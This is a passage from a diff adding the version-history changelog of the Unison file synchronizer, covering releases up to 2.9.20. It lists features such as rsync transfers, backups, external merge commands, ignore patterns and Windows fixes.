under NT to fail + after the client exits. + * Added a SHIFT modifier to the Ignore menu shortcut keys in GTK + interface (to avoid hitting them accidentally). + + Changes since 1.231: + * Tunneling over ssh is now supported in the Windows version. See + the installation section of the manual for detailed instructions. + * The transport subsystem now includes an implementation of the + rsync protocol, built by Sylvain Gommier and Norman Ramsey. This + protocol achieves much faster transfers when only a small part of + a large file has been changed by sending just diffs. The rsync + feature is off by default in the current version. Use the -rsync + switch to turn it on. (Nb. We still have a lot of tuning to do: + you may not notice much speedup yet.) + * We're experimenting with a multi-threaded transport subsystem, + written by Jerome Vouillon. The downloadable binaries are still + single-threaded: if you want to try the multi-threaded version, + you'll need to recompile from sources. (Say make THREADS=true.) + Native thread support from the compiler is required. Use the + option -threads N to select the maximal number of concurrent + threads (default is 5). Multi-threaded and single-threaded + clients/servers can interoperate. + * A new GTK-based user interface is now available, thanks to Jacques + Garrigue. The Tk user interface still works, but we'll be shifting + development effort to the GTK interface from now on. + * OCaml 3.00 is now required for compiling Unison from sources. The + modules uitk and myfileselect have been changed to use labltk + instead of camltk. To compile the Tk interface in Windows, you + must have ocaml-3.00 and tk8.3. When installing tk8.3, put it in + c:\Tcl rather than the suggested c:\Program Files\Tcl, and be sure + to install the headers and libraries (which are not installed by + default). + * Added a new -addversionno switch, which causes unison to use + unison- instead of just unison as the remote + server command. This allows multiple versions of unison to coexist + conveniently on the same server: whichever version is run on the + client, the same version will be selected on the server. + + Changes since 1.219: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * This version fixes several annoying bugs, including: + + Some cases where propagation of file permissions was not + working. + + umask is now ignored when creating directories + + directories are create writable, so that a read-only + directory and its contents can be propagated. + + Handling of warnings generated by the server. + + Synchronizing a path whose parent is not a directory on both + sides is now flagged as erroneous. + + Fixed some bugs related to symnbolic links and nonexistant + roots. + o When a change (deletion or new contents) is propagated + onto a 'follow'ed symlink, the file pointed to by the + link is now changed. (We used to change the link itself, + which doesn't fit our assertion that 'follow' means the + link is completely invisible) + o When one root did not exist, propagating the other root + on top of it used to fail, becuase unison could not + calculate the working directory into which to write + changes. This should be fixed. + * A human-readable timestamp has been added to Unison's archive + files. + * The semantics of Path and Name regular expressions now correspond + better. + * Some minor improvements to the text UI (e.g. a command for going + back to previous items) + * The organization of the export directory has changed --- should be + easier to find / download things now. + + Changes since 1.200: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * This version has not been tested extensively on Windows. + * Major internal changes designed to make unison safer to run at the + same time as the replicas are being changed by the user. + * Internal performance improvements. + + Changes since 1.190: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * A number of internal functions have been changed to reduce the + amount of memory allocation, especially during the first + synchronization. This should help power users with very big + replicas. + * Reimplementation of low-level remote procedure call stuff, in + preparation for adding rsync-like smart file transfer in a later + release. + * Miscellaneous bug fixes. + + Changes since 1.180: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * Fixed some small bugs in the interpretation of ignore patterns. + * Fixed some problems that were preventing the Windows version from + working correctly when click-started. + * Fixes to treatment of file permissions under Windows, which were + causing spurious reports of different permissions when + synchronizing between windows and unix systems. + * Fixed one more non-tail-recursive list processing function, which + was causing stack overflows when synchronizing very large + replicas. + + Changes since 1.169: + * The text user interface now provides commands for ignoring files. + * We found and fixed some more non-tail-recursive list processing + functions. Some power users have reported success with very large + replicas. + * INCOMPATIBLE CHANGE: Files ending in .tmp are no longer ignored + automatically. If you want to ignore such files, put an + appropriate ignore pattern in your profile. + * INCOMPATIBLE CHANGE: The syntax of ignore and follow patterns has + changed. Instead of putting a line of the form + + ignore = + in your profile (.unison/default.prf), you should put: + + ignore = Regexp + Moreover, two other styles of pattern are also recognized: + + ignore = Name + matches any path in which one component matches , while + + ignore = Path + matches exactly the path . + Standard ``globbing'' conventions can be used in and + : + + a ? matches any single character except / + + a * matches any sequence of characters not including / + + [xyz] matches any character from the set {x, y, z } + + {a,bb,ccc} matches any one of a, bb, or ccc. + See the user manual for some examples. + + Changes since 1.146: + * Some users were reporting stack overflows when synchronizing huge + directories. We found and fixed some non-tail-recursive list + processing functions, which we hope will solve the problem. Please + give it a try and let us know. + * Major additions to the documentation. + + Changes since 1.142: + * Major internal tidying and many small bugfixes. + * Major additions to the user manual. + * Unison can now be started with no arguments -- it will prompt + automatically for the name of a profile file containing the roots + to be synchronized. This makes it possible to start the graphical + UI from a desktop icon. + * Fixed a small bug where the text UI on NT was raising a 'no such + signal' exception. + + Changes since 1.139: + * The precompiled windows binary in the last release was compiled + with an old OCaml compiler, causing propagation of permissions not + to work (and perhaps leading to some other strange behaviors we've + heard reports about). This has been corrected. If you're using + precompiled binaries on Windows, please upgrade. + * Added a -debug command line flag, which controls debugging of + various modules. Say -debug XXX to enable debug tracing for module + XXX, or -debug all to turn on absolutely everything. + * Fixed a small bug where the text UI on NT was raising a 'no such + signal' exception. + + Changes since 1.111: + * INCOMPATIBLE CHANGE: The names and formats of the preference files + in the .unison directory have changed. In particular: + + the file ``prefs'' should be renamed to default.prf + + the contents of the file ``ignore'' should be merged into + default.prf. Each line of the form REGEXP in ignore should + become a line of the form ignore = REGEXP in default.prf. + * Unison now handles permission bits and symbolic links. See the + manual for details. + * You can now have different preference files in your .unison + directory. If you start unison like this + + unison profilename + (i.e. with just one ``anonymous'' command-line argument), then the + file ~/.unison/profilename.prf will be loaded instead of + default.prf. + * Some improvements to terminal handling in the text user interface + * Added a switch -killServer that terminates the remote server + process when the unison client is shutting down, even when using + sockets for communication. (By default, a remote server created + using ssh/rsh is terminated automatically, while a socket server + is left running.) + * When started in 'socket server' mode, unison prints 'server + started' on stderr when it is ready to accept connections. (This + may be useful for scripts that want to tell when a socket-mode + server has finished initalization.) + * We now make a nightly mirror of our current internal development + tree, in case anyone wants an up-to-the-minute version to hack + around with. + * Added a file CONTRIB with some suggestions for how to help us make + Unison better. + + + +Changes in Version 2.9.20 + + Changes since 2.9.1: + * Added a preference maxthreads that can be used to limit the number + of simultaneous file transfers. + * Added a backupdir preference, which controls where backup files + are stored. + * Basic support added for OSX. In particular, Unison now recognizes + when one of the hosts being synchronized is running OSX and + switches to a case-insensitive treatment of filenames (i.e., 'foo' + and 'FOO' are considered to be the same file). (OSX is not yet + fully working, however: in particular, files with resource forks + will not be synchronized correctly.) + * The same hash used to form the archive name is now also added to + the names of the temp files created during file transfer. The + reason for this is that, during update detection, we are going to + silently delete any old temp files that we find along the way, and + we want to prevent ourselves from deleting temp files belonging to + other instances of Unison that may be running in parallel, e.g. + synchronizing with a different host. Thanks to Ruslan Ermilov for + this suggestion. + * Several small user interface improvements + * Documentation + + FAQ and bug reporting instructions have been split out as + separate HTML pages, accessible directly from the unison web + page. + + Additions to FAQ, in particular suggestions about performance + tuning. + * Makefile + + Makefile.OCaml now sets UISTYLE=text or UISTYLE=gtk + automatically, depending on whether it finds lablgtk + installed + + Unison should now compile ``out of the box'' under OSX + + Changes since 2.8.1: + * Changing profile works again under Windows + * File movement optimization: Unison now tries to use local copy + instead of transfer for moved or copied files. It is controled by + a boolean option ``xferbycopying''. + * Network statistics window (transfer rate, amount of data + transferred). [NB: not available in Windows-Cygwin version.] + * symlinks work under the cygwin version (which is dynamically + linked). + * Fixed potential deadlock when synchronizing between Windows and + Unix + * Small improvements: + + If neither the + tt USERPROFILE nor the + tt HOME environment variables are set, then Unison will put + its temporary commit log (called + tt DANGER.README) into the directory named by the + tt UNISON environment variable, if any; otherwise it will use + tt C:. + + alternative set of values for fastcheck: yes = true; no = + false; default = auto. + + -silent implies -contactquietly + * Source code: + + Code reorganization and tidying. (Started breaking up some of + the basic utility modules so that the non-unison-specific + stuff can be made available for other projects.) + + several Makefile and docs changes (for release); + + further comments in ``update.ml''; + + connection information is not stored in global variables + anymore. + + Changes since 2.7.78: + * Small bugfix to textual user interface under Unix (to avoid + leaving the terminal in a bad state where it would not echo inputs + after Unison exited). + + Changes since 2.7.39: + * Improvements to the main web page (stable and beta version docs + are now both accessible). + * User manual revised. + * Added some new preferences: + + ``sshcmd'' and ``rshcmd'' for specifying paths to ssh and rsh + programs. + + ``contactquietly'' for suppressing the ``contacting server'' + message during Unison startup (under the graphical UI). + * Bug fixes: + + Fixed small bug in UI that neglected to change the displayed + column headers if loading a new profile caused the roots to + change. + + Fixed a bug that would put the text UI into an infinite loop + if it encountered a conflict when run in batch mode. + + Added some code to try to fix the display of non-Ascii + characters in filenames on Windows systems in the GTK UI. + (This code is currently untested---if you're one of the + people that had reported problems with display of non-ascii + filenames, we'd appreciate knowing if this actually fixes + things.) + + `-prefer/-force newer' works properly now. (The bug was + reported by Sebastian Urbaniak and Sean Fulton.) + * User interface and Unison behavior: + + Renamed `Proceed' to `Go' in the graphical UI. + + Added exit status for the textual user interface. + + Paths that are not synchronized because of conflicts or + errors during update detection are now noted in the log file. + + [END] messages in log now use a briefer format + + Changed the text UI startup sequence so that + tt ./unison -ui text will use the default profile instead of + failing. + + Made some improvements to the error messages. + + Added some debugging messages to remote.ml. + + Changes since 2.7.7: + * Incorporated, once again, a multi-threaded transport sub-system. + It transfers several files at the same time, thereby making much + more effective use of available network bandwidth. Unlike the + earlier attempt, this time we do not rely on the native thread + library of OCaml. Instead, we implement a light-weight, + non-preemptive multi-thread library in OCaml directly. This + version appears stable. + Some adjustments to unison are made to accommodate the + multi-threaded version. These include, in particular, changes to + the user interface and logging, for example: + + Two log entries for each transferring task, one for the + beginning, one for the end. + + Suppressed warning messages against removing temp files left + by a previous unison run, because warning does not work + nicely under multi-threading. The temp file names are made + less likely to coincide with the name of a file created by + the user. They take the form + .#..unison.tmp. + * Added a new command to the GTK user interface: pressing 'f' causes + Unison to start a new update detection phase, using as paths just + those paths that have been detected as changed and not yet marked + as successfully completed. Use this command to quickly restart + Unison on just the set of paths still needing attention after a + previous run. + * Made the ignorecase preference user-visible, and changed the + initialization code so that it can be manually set to true, even + if neither host is running Windows. (This may be useful, e.g., + when using Unison running on a Unix system with a FAT volume + mounted.) + * Small improvements and bug fixes: + + Errors in preference files now generate fatal errors rather + than warnings at startup time. (I.e., you can't go on from + them.) Also, we fixed a bug that was preventing these + warnings from appearing in the text UI, so some users who + have been running (unsuspectingly) with garbage in their + prefs files may now get error reports. + + Error reporting for preference files now provides file name + and line number. + + More intelligible message in the case of identical change to + the same files: ``Nothing to do: replicas have been changed + only in identical ways since last sync.'' + + Files with prefix '.#' excluded when scanning for preference + files. + + Rsync instructions are send directly instead of first + marshaled. + + Won't try forever to get the fingerprint of a continuously + changing file: unison will give up after certain number of + retries. + + Other bug fixes, including the one reported by Peter Selinger + (force=older preference not working). + * Compilation: + + Upgraded to the new OCaml 3.04 compiler, with the LablGtk + 1.2.3 library (patched version used for compiling under + Windows). + + Added the option to compile unison on the Windows platform + with Cygwin GNU C compiler. This option only supports + building dynamically linked unison executables. + + Changes since 2.7.4: + * Fixed a silly (but debilitating) bug in the client startup + sequence. + + Changes since 2.7.1: + * Added addprefsto preference, which (when set) controls which + preference file new preferences (e.g. new ignore patterns) are + added to. + * Bug fix: read the initial connection header one byte at a time, so + that we don't block if the header is shorter than expected. (This + bug did not affect normal operation --- it just made it hard to + tell when you were trying to use Unison incorrectly with an old + version of the server, since it would hang instead of giving an + error message.) + + Changes since 2.6.59: + * Changed fastcheck from a boolean to a string preference. Its legal + values are yes (for a fast check), no (for a safe check), or + default (for a fast check---which also happens to be safe---when + running on Unix and a safe check when on Windows). The default is + default. + * Several preferences have been renamed for consistency. All + preference names are now spelled out in lowercase. For backward + compatibility, the old names still work, but they are not + mentioned in the manual any more. + * The temp files created by the 'diff' and 'merge' commands are now + named by prepending a new prefix to the file name, rather than + appending a suffix. This should avoid confusing diff/merge + programs that depend on the suffix to guess the type of the file + contents. + * We now set the keepalive option on the server socket, to make sure + that the server times out if the communication link is + unexpectedly broken. + * Bug fixes: + + When updating small files, Unison now closes the destination + file. + + File permissions are properly updated when the file is behind + a followed link. + + Several other small fixes. + + Changes since 2.6.38: + * Major Windows performance improvement! + We've added a preference fastcheck that makes Unison look only at + a file's creation time and last-modified time to check whether it + has changed. This should result in a huge speedup when checking + for updates in large replicas. + When this switch is set, Unison will use file creation times as + 'pseudo inode numbers' when scanning Windows replicas for updates, + instead of reading the full contents of every file. This may cause + Unison to miss propagating an update if the create time, + modification time, and length of the file are all unchanged by the + update (this is not easy to achieve, but it can be done). However, + Unison will never overwrite such an update with a change from the + other replica, since it always does a safe check for updates just + before propagating a change. Thus, it is reasonable to use this + switch most of the time and occasionally run Unison once with + fastcheck set to false, if you are worried that Unison may have + overlooked an update. + Warning: This change is has not yet been thoroughly field-tested. + If you set the fastcheck preference, pay careful attention to what + Unison is doing. + * New functionality: centralized backups and merging + + This version incorporates two pieces of major new + functionality, implemented by Sylvain Roy during a summer + internship at Penn: a centralized backup facility that keeps + a full backup of (selected files in) each replica, and a + merging feature that allows Unison to invoke an external + file-merging tool to resolve conflicting changes to + individual files. + + Centralized backups: + o Unison now maintains full backups of the + last-synchronized versions of (some of) the files in + each replica; these function both as backups in the + usual sense and as the ``common version'' when invoking + external merge programs. + o The backed up files are stored in a directory + /.unison/backup on each host. (The name of this + directory can be changed by setting the environment + variable UNISONBACKUPDIR.) + o The predicate backup controls which files are actually + backed up: giving the preference 'backup = Path *' + causes backing up of all files. + o Files are added to the backup directory whenever unison + updates its archive. This means that + # When unison reconstructs its archive from scratch + (e.g., because of an upgrade, or because the + archive files have been manually deleted), all + files will be backed up. + # Otherwise, each file will be backed up the first + time unison propagates an update for it. + o The preference backupversions controls how many previous + versions of each file are kept. The default is 2 (i.e., + the last synchronized version plus one backup). + o For backward compatibility, the backups preference is + also still supported, but backup is now preferred. + o It is OK to manually delete files from the backup + directory (or to throw away the directory itself). + Before unison uses any of these files for anything + important, it checks that its fingerprint matches the + one that it expects. + + Merging: + o Both user interfaces offer a new 'merge' command, + invoked by pressing 'm' (with a changed file selected). + o The actual merging is performed by an external program. + The preferences merge and merge2 control how this + program is invoked. If a backup exists for this file + (see the backup preference), then the merge preference + is used for this purpose; otherwise merge2 is used. In + both cases, the value of the preference should be a + string representing the command that should be passed to + a shell to invoke the merge program. Within this string, + the special substrings CURRENT1, CURRENT2, NEW, and OLD + may appear at any point. Unison will substitute these as + follows before invoking the command: + # CURRENT1 is replaced by the name of the local copy + of the file; + # CURRENT2 is replaced by the name of a temporary + file, into which the contents of the remote copy of + the file have been transferred by Unison prior to + performing the merge; + # NEW is replaced by the name of a temporary file + that Unison expects to be written by the merge + program when it finishes, giving the desired new + contents of the file; and + # OLD is replaced by the name of the backed up copy + of the original version of the file (i.e., its + state at the end of the last successful run of + Unison), if one exists (applies only to merge, not + merge2). + For example, on Unix systems setting the merge + preference to + + merge = diff3 -m CURRENT1 OLD CURRENT2 > NEW + will tell Unison to use the external diff3 program for + merging. + A large number of external merging programs are + available. For example, emacs users may find the + following convenient: + + merge2 = emacs -q --eval '(ediff-merge-files "CURRENT1" "CURRENT2" + nil "NEW")' + merge = emacs -q --eval '(ediff-merge-files-with-ancestor + "CURRENT1" "CURRENT2" "OLD" nil "NEW")' + (These commands are displayed here on two lines to avoid + running off the edge of the page. In your preference + file, each should be written on a single line.) + o If the external program exits without leaving any file + at the path NEW, Unison considers the merge to have + failed. If the merge program writes a file called NEW + but exits with a non-zero status code, then Unison + considers the merge to have succeeded but to have + generated conflicts. In this case, it attempts to invoke + an external editor so that the user can resolve the + conflicts. The value of the editor preference controls + what editor is invoked by Unison. The default is emacs. + o Please send us suggestions for other useful values of + the merge2 and merge preferences -- we'd like to give + several examples in the manual. + * Smaller changes: + + When one preference file includes another, unison no longer + adds the suffix '.prf' to the included file by default. If a + file with precisely the given name exists in the .unison + directory, it will be used; otherwise Unison will add .prf, + as it did before. (This change means that included preference + files can be named blah.include instead of blah.prf, so that + unison will not offer them in its 'choose a preference file' + dialog.) + + For Linux systems, we now offer both a statically linked and + a dynamically linked executable. The static one is larger, + but will probably run on more systems, since it doesn't + depend on the same versions of dynamically linked library + modules being available. + + Fixed the force and prefer preferences, which were getting + the propagation direction exactly backwards. + + Fixed a bug in the startup code that would cause unison to + crash when the default profile (~/.unison/default.prf) does + not exist. + + Fixed a bug where, on the run when a profile is first + created, Unison would confusingly display the roots in + reverse order in the user interface. + * For developers: + + We've added a module dependency diagram to the source + distribution, in src/DEPENDENCIES.ps, to help new prospective + developers with navigating the code. + + Changes since 2.6.11: + * INCOMPATIBLE CHANGE: Archive format has changed. + * INCOMPATIBLE CHANGE: The startup sequence has been completely + rewritten and greatly simplified. The main user-visible change is + that the defaultpath preference has been removed. Its effect can + be approximated by using multiple profiles, with include + directives to incorporate common settings. All uses of defaultpath + in existing profiles should be changed to path. + Another change in startup behavior that will affect some users is + that it is no longer possible to specify roots both in the profile + and on the command line. + You can achieve a similar effect, though, by breaking your profile + into two: + + + default.prf = + root = blah + root = foo + include common + + common.prf = + + Now do + + unison common root1 root2 + when you want to specify roots explicitly. + * The -prefer and -force options have been extended to allow users + to specify that files with more recent modtimes should be + propagated, writing either -prefer newer or -force newer. (For + symmetry, Unison will also accept -prefer older or -force older.) + The -force older/newer options can only be used when -times is + also set. + The graphical user interface provides access to these facilities + on a one-off basis via the Actions menu. + * Names of roots can now be ``aliased'' to allow replicas to be + relocated without changing the name of the archive file where + Unison stores information between runs. (This feature is for + experts only. See the ``Archive Files'' section of the manual for + more information.) + * Graphical user-interface: + + A new command is provided in the Synchronization menu for + switching to a new profile without restarting Unison from + scratch. + + The GUI also supports one-key shortcuts for commonly used + profiles. If a profile contains a preference of the form 'key + = n', where n is a single digit, then pressing this key will + cause Unison to immediately switch to this profile and begin + synchronization again from scratch. (Any actions that may + have been selected for a set of changes currently being + displayed will be discarded.) + + Each profile may include a preference 'label = ' + giving a descriptive string that described the options + selected in this profile. The string is listed along with the + profile name in the profile selection dialog, and displayed + in the top-right corner of the main Unison window. + * Minor: + + Fixed a bug that would sometimes cause the 'diff' display to + order the files backwards relative to the main user + interface. (Thanks to Pascal Brisset for this fix.) + + On Unix systems, the graphical version of Unison will check + the DISPLAY variable and, if it is not set, automatically + fall back to the textual user interface. + + Synchronization paths (path preferences) are now matched + against the ignore preferences. So if a path is both + specified in a path preference and ignored, it will be + skipped. + + Numerous other bugfixes and small improvements. + + Changes since 2.6.1: + * The synchronization of modification times has been disabled for + directories. + * Preference files may now include lines of the form include , + which will cause name.prf to be read at that point. + * The synchronization of permission between Windows and Unix now + works properly. + * A binding CYGWIN=binmode in now added to the environment so that + the Cygwin port of OpenSSH works properly in a non-Cygwin context. + * The servercmd and addversionno preferences can now be used + together: -addversionno appends an appropriate -NNN to the server + command, which is found by using the value of the -servercmd + preference if there is one, or else just unison. + * Both '-pref=val' and '-pref val' are now allowed for boolean + values. (The former can be used to set a preference to false.) + * Lot of small bugs fixed. + + Changes since 2.5.31: + * The log preference is now set to true by default, since the log + file seems useful for most users. + * Several miscellaneous bugfixes (most involving symlinks). + + Changes since 2.5.25: + * INCOMPATIBLE CHANGE: Archive format has changed (again). + * Several significant bugs introduced in 2.5.25 have been fixed. + + Changes since 2.5.1: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * New functionality: + + Unison now synchronizes file modtimes, user-ids, and + group-ids. + These new features are controlled by a set of new + preferences, all of which are currently false by default. + o When the times preference is set to true, file + modification times are propaged. (Because the + representations of time may not have the same + granularity on both replicas, Unison may not always be + able to make the modtimes precisely equal, but it will + get them as close as the operating systems involved + allow.) + o When the owner preference is set to true, file ownership + information is synchronized. + o When the group preference is set to true, group + information is synchronized. + o When the numericIds preference is set to true, owner and + group information is synchronized numerically. By + default, owner and group numbers are converted to names + on each replica and these names are synchronized. (The + special user id 0 and the special group 0 are never + mapped via user/group names even if this preference is + not set.) + + Added an integer-valued preference perms that can be used to + control the propagation of permission bits. The value of this + preference is a mask indicating which permission bits should + be synchronized. It is set by default to 0o1777: all bits but + the set-uid and set-gid bits are synchronised (synchronizing + theses latter bits can be a security hazard). If you want to + synchronize all bits, you can set the value of this + preference to -1. + + Added a log preference (default false), which makes Unison + keep a complete record of the changes it makes to the + replicas. By default, this record is written to a file called + unison.log in the user's home directory (the value of the + HOME environment variable). If you want it someplace else, + set the logfile preference to the full pathname you want + Unison to use. + + Added an ignorenot preference that maintains a set of + patterns for paths that should definitely not be ignored, + whether or not they match an ignore pattern. (That is, a path + will now be ignored iff it matches an ignore pattern and does + not match any ignorenot patterns.) + * User-interface improvements: + + Roots are now displayed in the user interface in the same + order as they were given on the command line or in the + preferences file. + + When the batch preference is set, the graphical user + interface no longer waits for user confirmation when it + displays a warning message: it simply pops up an advisory + window with a Dismiss button at the bottom and keeps on + going. + + Added a new preference for controlling how many status + messages are printed during update detection: statusdepth + controls the maximum depth for paths on the local machine + (longer paths are not displayed, nor are non-directory + paths). The value should be an integer; default is 1. + + Removed the trace and silent preferences. They did not seem + very useful, and there were too many preferences for + controlling output in various ways. + + The text UI now displays just the default command (the one + that will be used if the user just types ) instead of + all available commands. Typing ? will print the full list of + possibilities. + + The function that finds the canonical hostname of the local + host (which is used, for example, in calculating the name of + the archive file used to remember which files have been + synchronized) normally uses the gethostname operating system + call. However, if the environment variable + UNISONLOCALHOSTNAME is set, its value will now be used + instead. This makes it easier to use Unison in situations + where a machine's name changes frequently (e.g., because it + is a laptop and gets moved around a lot). + + File owner and group are now displayed in the ``detail + window'' at the bottom of the screen, when unison is + configured to synchronize them. + * For hackers: + + Updated to Jacques Garrigue's new version of lablgtk, which + means we can throw away our local patched version. + If you're compiling the GTK version of unison from sources, + you'll need to update your copy of lablgtk to the developers + release, available from + http://wwwfun.kurims.kyoto-u.ac.jp/soft/olabl/lablgtk.html + (Warning: installing lablgtk under Windows is currently a bit + challenging.) + + The TODO.txt file (in the source distribution) has been + cleaned up and reorganized. The list of pending tasks should + be much easier to make sense of, for people that may want to + contribute their programming energies. There is also a + separate file BUGS.txt for open bugs. + + The Tk user interface has been removed (it was not being + maintained and no longer compiles). + + The debug preference now prints quite a bit of additional + information that should be useful for identifying sources of + problems. + + The version number of the remote server is now checked right + away during the connection setup handshake, rather than + later. (Somebody sent a bug report of a server crash that + turned out to come from using inconsistent versions: better + to check this earlier and in a way that can't crash either + client or server.) + + Unison now runs correctly on 64-bit architectures (e.g. Alpha + linux). We will not be distributing binaries for these + architectures ourselves (at least for a while) but if someone + would like to make them available, we'll be glad to provide a + link to them. + * Bug fixes: + + Pattern matching (e.g. for ignore) is now case-insensitive + when Unison is in case-insensitive mode (i.e., when one of + the replicas is on a windows machine). + + Some people had trouble with mysterious failures during + propagation of updates, where files would be falsely reported + as having changed during synchronization. This should be + fixed. + + Numerous smaller fixes. + + Changes since 2.4.1: + * Added a number of 'sorting modes' for the user interface. By + default, conflicting changes are displayed at the top, and the + rest of the entries are sorted in alphabetical order. This + behavior can be changed in the following ways: + + Setting the sortnewfirst preference to true causes newly + created files to be displayed before changed files. + + Setting sortbysize causes files to be displayed in increasing + order of size. + + Giving the preference sortfirst= (where is + a path descriptor in the same format as 'ignore' and 'follow' + patterns, causes paths matching this pattern to be displayed + first. + + Similarly, giving the preference sortlast= causes + paths matching this pattern to be displayed last. + The sorting preferences are described in more detail in the user + manual. The sortnewfirst and sortbysize flags can also be accessed + from the 'Sort' menu in the grpahical user interface. + * Added two new preferences that can be used to change unison's + fundamental behavior to make it more like a mirroring tool instead + of a synchronizer. + + Giving the preference prefer with argument (by adding + -prefer to the command line or prefer=) to your + profile) means that, if there is a conflict, the contents of + should be propagated to the other replica (with no + questions asked). Non-conflicting changes are treated as + usual. + + Giving the preference force with argument will make + unison resolve all differences in favor of the given root, + even if it was the other replica that was changed. + These options should be used with care! (More information is + available in the manual.) + * Small changes: + + Changed default answer to 'Yes' in all two-button dialogs in + the graphical interface (this seems more intuitive). + + The rsync preference has been removed (it was used to + activate rsync compression for file transfers, but rsync + compression is now enabled by default). + + In the text user interface, the arrows indicating which + direction changes are being propagated are printed + differently when the user has overridded Unison's default + recommendation (====> instead of ---->). This matches the + behavior of the graphical interface, which displays such + arrows in a different color. + + Carriage returns (Control-M's) are ignored at the ends of + lines in profiles, for Windows compatibility. + + All preferences are now fully documented in the user manual. + + Changes since 2.3.12: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * New/improved functionality: + + A new preference -sortbysize controls the order in which + changes are displayed to the user: when it is set to true, + the smallest changed files are displayed first. (The default + setting is false.) + + A new preference -sortnewfirst causes newly created files to + be listed before other updates in the user interface. + + We now allow the ssh protocol to specify a port. + + Incompatible change: The unison: protocol is deprecated, and + we added file: and socket:. You may have to modify your + profiles in the .unison directory. If a replica is specified + without an explicit protocol, we now assume it refers to a + file. (Previously "//saul/foo" meant to use SSH to connect to + saul, then access the foo directory. Now it means to access + saul via a remote file mechanism such as samba; the old + effect is now achieved by writing ssh://saul/foo.) + + Changed the startup sequence for the case where roots are + given but no profile is given on the command line. The new + behavior is to use the default profile (creating it if it + does not exist), and temporarily override its roots. The + manual claimed that this case would work by reading no + profile at all, but AFAIK this was never true. + + In all user interfaces, files with conflicts are always + listed first + + A new preference 'sshversion' can be used to control which + version of ssh should be used to connect to the server. Legal + values are 1 and 2. (Default is empty, which will make unison + use whatever version of ssh is installed as the default 'ssh' + command.) + + The situation when the permissions of a file was updated the + same on both side is now handled correctly (we used to report + a spurious conflict) + * Improvements for the Windows version: + + The fact that filenames are treated case-insensitively under + Windows should now be handled correctly. The exact behavior + is described in the cross-platform section of the manual. + + It should be possible to synchronize with Windows shares, + e.g., //host/drive/path. + + Workarounds to the bug in syncing root directories in + Windows. The most difficult thing to fix is an ocaml bug: + Unix.opendir fails on c: in some versions of Windows. + * Improvements to the GTK user interface (the Tk interface is no + longer being maintained): + + The UI now displays actions differently (in blue) when they + have been explicitly changed by the user from Unison's + default recommendation. + + More colorful appearance. + + The initial profile selection window works better. + + If any transfers failed, a message to this effect is + displayed along with 'Synchronization complete' at the end of + the transfer phase (in case they may have scrolled off the + top). + + Added a global progress meter, displaying the percentage of + total bytes that have been transferred so far. + * Improvements to the text user interface: + + The file details will be displayed automatically when a + conflict is been detected. + + when a warning is generated (e.g. for a temporary file left + over from a previous run of unison) Unison will no longer + wait for a response if it is running in -batch mode. + + The UI now displays a short list of possible inputs each time + it waits for user interaction. + + The UI now quits immediately (rather than looping back and + starting the interaction again) if the user presses 'q' when + asked whether to propagate changes. + + Pressing 'g' in the text user interface will proceed + immediately with propagating updates, without asking any more + questions. + * Documentation and installation changes: + + The manual now includes a FAQ, plus sections on common + problems and on tricks contributed by users. + + Both the download page and the download directory explicitly + say what are the current stable and beta-test version + numbers. + + The OCaml sources for the up-to-the-minute developers' + version (not guaranteed to be stable, or even to compile, at + any given time!) are now available from the download page. + + Added a subsection to the manual describing cross-platform + issues (case conflicts, illegal filenames) + * Many small bug fixes and random improvements. + + Changes since 2.3.1: + * Several bug fixes. The most important is a bug in the rsync module + that would occasionally cause change propagation to fail with a + 'rename' error. + + Changes since 2.2: + * The multi-threaded transport system is now disabled by default. + (It is not stable enough yet.) + * Various bug fixes. + * A new experimental feature: + The final component of a -path argument may now be the wildcard + specifier *. When Unison sees such a path, it expands this path on + the client into into the corresponding list of paths by listing + the contents of that directory. + Note that if you use wildcard paths from the command line, you + will probably need to use quotes or a backslash to prevent the * + from being interpreted by your shell. + If both roots are local, the contents of the first one will be + used for expanding wildcard paths. (Nb: this is the first one + after the canonization step -- i.e., the one that is listed first + in the user interface -- not the one listed first on the command + line or in the preferences file.) + + Changes since 2.1: + * The transport subsystem now includes an implementation by Sylvain + Gommier and Norman Ramsey of Tridgell and Mackerras's rsync + protocol. This protocol achieves much faster transfers when only a + small part of a large file has been changed by sending just diffs. + This feature is mainly helpful for transfers over slow links---on + fast local area networks it can actually degrade performance---so + we have left it off by default. Start unison with the -rsync + option (or put rsync=true in your preferences file) to turn it on. + * ``Progress bars'' are now diplayed during remote file transfers, + showing what percentage of each file has been transferred so far. + * The version numbering scheme has changed. New releases will now be + have numbers like 2.2.30, where the second component is + incremented on every significant public release and the third + component is the ``patch level.'' + * Miscellaneous improvements to the GTK-based user interface. + * The manual is now available in PDF format. + * We are experimenting with using a multi-threaded transport + subsystem to transfer several files at the same time, making much + more effective use of available network bandwidth. This feature is + not completely stable yet, so by default it is disabled in the + release version of Unison. + If you want to play with the multi-threaded version, you'll need + to recompile Unison from sources (as described in the + documentation), setting the THREADS flag in Makefile.OCaml to + true. Make sure that your OCaml compiler has been installed with + the -with-pthreads configuration option. (You can verify this by + checking whether the file threads/threads.cma in the OCaml + standard library directory contains the string -lpthread near the + end.) + + Changes since 1.292: + * Reduced memory footprint (this is especially important during the + first run of unison, where it has to gather information about all + the files in both repositories). + * Fixed a bug that would cause the socket server under NT to fail + after the client exits. + * Added a SHIFT modifier to the Ignore menu shortcut keys in GTK + interface (to avoid hitting them accidentally). + + Changes since 1.231: + * Tunneling over ssh is now supported in the Windows version. See + the installation section of the manual for detailed instructions. + * The transport subsystem now includes an implementation of the + rsync protocol, built by Sylvain Gommier and Norman Ramsey. This + protocol achieves much faster transfers when only a small part of + a large file has been changed by sending just diffs. The rsync + feature is off by default in the current version. Use the -rsync + switch to turn it on. (Nb. We still have a lot of tuning to do: + you may not notice much speedup yet.) + * We're experimenting with a multi-threaded 